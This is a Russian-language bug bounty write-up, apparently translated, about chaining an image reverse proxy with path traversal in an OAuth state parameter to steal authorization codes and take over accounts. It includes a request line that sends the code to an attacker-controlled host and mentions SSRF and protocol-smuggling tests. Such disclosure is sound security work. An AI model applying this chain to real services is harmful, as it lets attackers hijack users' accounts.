Кража кода OAuth через Reverse Proxy для захвата аккаунта

Кража кода OAuth через Reverse Proxy для захвата аккаунта

SHADOW:Group

Разведка:

Выбранная мной цель была привязана к основному приложению:

1377.targetstaging.app

На первом этапе моего подхода к разведке я использовал различные сервисы, такие как Web Archive, Google и Yahoo, для извлечения конечных точек и различных путей.

Однако в этом конкретном таргете нам нужно было установить определенный файл cookie, например usertest=hash, как указано в политике программы, чтобы веб-сайт работал.

Я открыл свой Burp Suite и начал работать с приложением, тестируя его функционал и получая представление о том, как он работает.

Поток авторизации OAuth

Аутентификация пользователей - одна из интригующих частей для любого багхантера. Это было первое с чем я столкнулся, и начал изучать.

Сайт включал раздел OAuth, который позволял вам использовать таких провайдеров, как Google, Microsoft и Slack, для входа на веб-сайт. После тестирования и проверки потока OAuth я получил следующие пять запросов:

1. Первый запрос, который перенаправил меня на главный сайт компании, был следующим:

2. Второй запрос, который перенаправил меня на страницу входа в Google после перенаправления на главный сайт компании, выглядел следующим образом:

3. Третий запрос, в котором для возврата на главный сайт компании использовался код провайдера Google, выглядел так:

4. Четвертый запрос, в котором использовался код Google для перехода с основного сайта на поддомен, выглядел следующим образом:

5. Пятый и последний запрос в потоке авторизовал нас и позволил нам получить auth cookie для доступа к нашей учетной записи:

Разобравшись, как это работает, я попробовал разные способы взломать код. Моей первой идеей было проверить, как работает параметр redirect_uri на четвертом шаге для перенаправления жертв на мой домен и получения кода OAuth.

Я проводил здесь различные тесты, но оказалось, что Regex полностью привязан к домену компании и совершенно безопасен. Даже если был бы обнаружен open redirect, изменить параметр redirect_uri и перенаправить его было бы не возможно.

Через некоторое время я решил пойти дальше и сконцентрироваться на тестировании других функций сайта.

Функционал изменения изображения профиля

После входа в панель управления я стал тестировать функционал профиля. Я отслеживал запросы после каждого изменения.

Во время обновления изображения профиля в разделе «Обновить изображение профиля» мое внимание привлек один конкретный запрос:

Первая идея, которая приходит в голову каждому хакеру, — изменить URL-адрес для SSRF. Поэтому я вставил ссылку на свой Burp Collab в параметр AvatarUrl:

Я перезагрузил свой профиль и увидел, что ​​новая ссылка была установлена для моего профиля, и этот запрос пришел в Burp Сollaborator:

Я заметил здесь то, что браузер не загружает изображение напрямую. Вместо этого ссылка на изображение профиля передается в reverse proxy, который затем загружает и отображает изображение. Тщательно проверив запросы, следующие за построением DOM, я наткнулся на такой запрос:

Здесь в качестве входных данных использовалась ссылка на изображение профиля, и если формат был изображением, она загружалась.

Здесь я выполнил различные тесты, такие как изменение протокола на gopher или file, использование трюков с перенаправлением для изменения протокола, использование ввода SVG для XSS или LFI, сканирование портов и многое другое.

Но здесь это казалось совершенно безопасным, и на данный момент у меня не было идей и я пошел дальше.

Построение цепочки уязвимостей

После перерыва я включил систему и проверил свои записи. Меня осенила идея, что у меня есть обратный прокси, который принимает URL-адрес в качестве пути и отправляет GET-запрос на URL-адрес со всей необходимой информацией в URL-адресе.

Если вы заметили, в пятом запросе потока OAuth, код передается в параметре GET. Итак, если я смогу каким-то образом перенаправить шаг 5 на этот путь:

GET /imageProxy/https://attacker.oastify.com/?code= HTTP/1.1

то смогу получить код и получить доступ к аккаунту.

Что ж, здесь я более внимательно рассмотрел поток, изучив параметры, которые провайдер, в данном случае Google, принимает как действительные:

Здесь у нас есть два важных параметра, выделенных красным и зеленым в приведенном выше запросе.

Первый параметр — redirect_uri, который нельзя было никак изменить и он был полностью фиксирован.

Второй параметр — который принимает любое значение и может быть изменен любым способом.

Целью этого параметра была передача его значения на основной сайт компании после аутентификации провайдера и получения кода.

Затем основной сайт компании проверит URL-адрес внутри параметра state, и если он пройдет функцию проверки, то перенаправит нас на этот URL-адрес с кодом провайдера. (4 запрос в потоке):

Теперь вместо первого URL-адреса, упомянутого ранее, мне нужно попытаться получить код, злоупотребляя обратным прокси-сервером, используя второй URL-адрес:

Я начал работать с регулярным выражением параметра redirect_uri в параметре state, чтобы перехватить код. Однако любое изменение приводило к ответу 403, что затрудняло манипуляции, за исключением добавления символов в продолжение пути. Это означает, что веб-сайт принимает такую ​​ссылку:

Здесь мне пришла в голову идея использовать path traversal для наблюдения за поведением веб-сервера.

Я увидел, что это сработало, и вернуло меня на одну директорию. Итак, я мог бы использовать эту полезную нагрузку выше, чтобы вернуть жертву на три директории и перенаправить их по нужному пути, что позволит мне получить код:

Перейдем к последней полезной нагрузке. Здесь я мог бы использовать как target.app, так и провайдера для создания вредоносной ссылки. Таким образом можно создать две ссылки:

Если бы ٰжертва совершила переход по любой из этих двух ссылок и авторизовалась (или была авторизована), то я, как злоумышленник, получил бы такой запрос:

Он включал код провайдера, который я мог использовать в запросе на шаге 5 для доступа к учетной записи жертвы.

На этом все, спасибо за просмотр!

Оригинал на английском тут.

Подпишись на канал - @shadow_group_tg.

Report Page